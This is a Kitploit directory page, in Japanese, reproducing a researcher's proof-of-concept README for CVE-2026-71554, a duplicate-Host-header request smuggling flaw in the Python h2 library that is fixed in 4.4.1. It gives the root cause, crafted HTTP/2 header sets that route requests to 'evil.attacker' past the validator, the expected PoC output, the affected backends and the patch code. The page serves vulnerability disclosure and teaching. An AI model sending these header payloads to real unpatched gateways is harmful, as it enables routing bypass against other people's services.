Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
poc-h2-CVE-2026-71554 — CVE-2026-71554のPoC - h2における重複Hostヘッダーのリクエストスマグリングプリミティブ(4.4.1で修正済み) | Kitploit
ツール/GitHubGitHub/sunandm/poc-h2-cve-2026-71554
脆弱性分析エクスプロイトウェブアプリケーション悪用APIセキュリティテストウェブセキュリティAPIセキュリティ敵対的攻撃
GitHubsunandm/poc-h2-cve-2026-71554

poc-h2-CVE-2026-71554

CVE-2026-71554のPoC - h2における重複Hostヘッダーのリクエストスマグリングプリミティブ(4.4.1で修正済み)

リポジトリを見る
112日前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2026-71554 - h2 重複Hostヘッダーリクエストスモーグリングプリミティブ

これは私の最初のCVEです。このPoCは、発見内容を文書化し、他の人が理解して再現できるように公開しました。

CVE: CVE-2026-71554 GHSA: GHSA-6hr6-w5qg-qmwg 影響を受けるバージョン: h2 <= 4.4.0 修正バージョン: h2 4.4.1 深刻度: 中 (CWE-444, CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L = 5.3) NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-71554


発見した内容

h2のヘッダー検証ロジックをレビューしている際に、src/h2/utilities.py内の_validate_host_authority_header()がHostと:authorityの一致をチェックしていることに気付きました。ただし、比較されるのは最後のHostヘッダーだけです。2つのHostヘッダーを送信すると、h2は2番目のヘッダーを一致チェックに使用し、両方をアプリケーションに問題なく転送します。

興味深いことに、h2 4.4.0は重複するContent-LengthヘッダーをProtocolErrorで既に拒否しています。同じ修正はHostには適用されていませんでした。ソースコードには、まさにこのギャップを認めるTODOコメントまでありました:

root@kitploit:~
# TODO: We should also guard against receiving duplicate Host headers,
#       and against sending duplicate headers.

根本原因

src/h2/utilities.pyの_validate_host_authority_header()は、最後に確認されたHost値を記録するlast-winsループを使用し、以下のことだけをチェックします:

  1. :authorityまたはHostの少なくとも1つが存在すること
  2. 両方が存在する場合は、それらが一致すること

Hostヘッダーの数に関するチェックはありません。Hostヘッダーは、いくつ存在しても、それぞれが下流のアプリケーションに渡されます。


攻撃シナリオ

ケース1 — 2つのHostヘッダー、:authorityなし

クライアントが送信:

root@kitploit:~
:method: GET
:path: /
:scheme: https
host: good.internal
host: evil.attacker

h2は両方を受け入れます。アプリケーションは両方のHostヘッダーを受け取ります。

HTTP/1.1へのダウングレードで生成されるリクエスト:

root@kitploit:~
GET / HTTP/1.1
host: good.internal
host: evil.attacker

RFC 9112のs3.2では、サーバーは複数のHostヘッダーを含むHTTP/1.1リクエストに対して400を返すことが要求されています。バックエンドの動作は分かれます:

root@kitploit:~
nginx          — rejects with 400
Python stdlib  — accepts, returns FIRST Host on lookup
Werkzeug       — accepts, returns FIRST Host on lookup

ケース2 — ステルススモーグリング (:authorityバイパス)

クライアントが送信:

root@kitploit:~
:method: GET
:path: /
:scheme: https
:authority: good.internal
host: evil.attacker     <- index 0, first Host (seen by origin)
host: good.internal     <- index 1, last Host (used by h2 validator)

h2は検証します: 最後のHost (good.internal) == :authority (good.internal) — 一致するため通過します。

アプリケーションは両方のHostヘッダーを受け取ります。HTTP/1.1へのダウングレードで生成されるリクエスト:

root@kitploit:~
GET / HTTP/1.1
host: evil.attacker
host: good.internal

シングルキールックアップで最初のHostを返すバックエンドは、h2がgood.internalを検証したと信じている間に、リクエストをevil.attackerにルーティングします。 h2が検証したものとオリジンが処理するものの間で、ルーティングの完全な不整合が発生します。


コントロール - 単一の不一致Hostは正しく拒否される

root@kitploit:~
:method: GET
:path: /
:scheme: https
:authority: good.internal
host: evil.attacker

h2はProtocolErrorを発生させます。このギャップが重複したHostヘッダーに固有のものであることを確認します。


影響を受ける可能性があるもの

影響はデプロイメントアーキテクチャに依存します:

  • 影響あり: クライアントからHTTP/2を受け入れ、バックエンドに転送する際に HTTP/1.1へダウングレードするリバースプロキシまたはAPIゲートウェイ。 バックエンドがルーティング決定に最初のHostヘッダーを使用する場合
  • 影響ありのバックエンド (実証済み): Python標準ライブラリのhttp.client、 Werkzeug Headers — どちらも重複Hostを受け入れ、最初の値を返す
  • 影響なしのバックエンド: nginx — 重複Hostで400を返して拒否
  • 影響なしのデプロイメント: HTTP/1.1へのダウングレードがないエンドツーエンドのHTTP/2

再現手順

必要条件

root@kitploit:~
pip install h2==4.4.0

実行

root@kitploit:~
python3 poc_h2_duplicate_host.py

脆弱な4.4.0での期待される出力

root@kitploit:~
CASE 1 - Two Host headers, no :authority (both forwarded)
h2 forwarded Host headers: ['good.internal', 'evil.attacker']
Resulting HTTP/1.1 request:
GET / HTTP/1.1
host: good.internal
host: evil.attacker

CASE 2 - STEALTH: :authority matches LAST Host, first Host smuggled
:authority=['good.internal']  Host(s)=['evil.attacker', 'good.internal']
h2 mismatch check PASSES (:authority == last Host).
Resulting HTTP/1.1 request:
GET / HTTP/1.1
host: evil.attacker
host: good.internal

CONTROL - Single mismatched Host vs :authority (correctly rejected)
[control] SENDER rejected: ProtocolError(...)

4.4.1で修正を確認

root@kitploit:~
pip install h2==4.4.1
python3 poc_h2_duplicate_host.py

3つのケースすべてでProtocolErrorが発生します。ヘッダーは転送されません。


修正内容

_validate_host_authority_header()の既存のループに1つのカウンターが追加されました:

root@kitploit:~
host_header_count = 0
for header in headers:
    if header[0] == b"host":
        host_header_count += 1
    yield header

if host_header_count > 1:
    raise ProtocolError("Request header block has multiple Host headers.")

コミット: https://github.com/python-hyper/h2/commit/292a40829feefda98c8509dcdbbb4a57af9bd6a6


クレジット

発見および報告: Sunand Mohan (https://github.com/SunandM)

ツールをダウンロード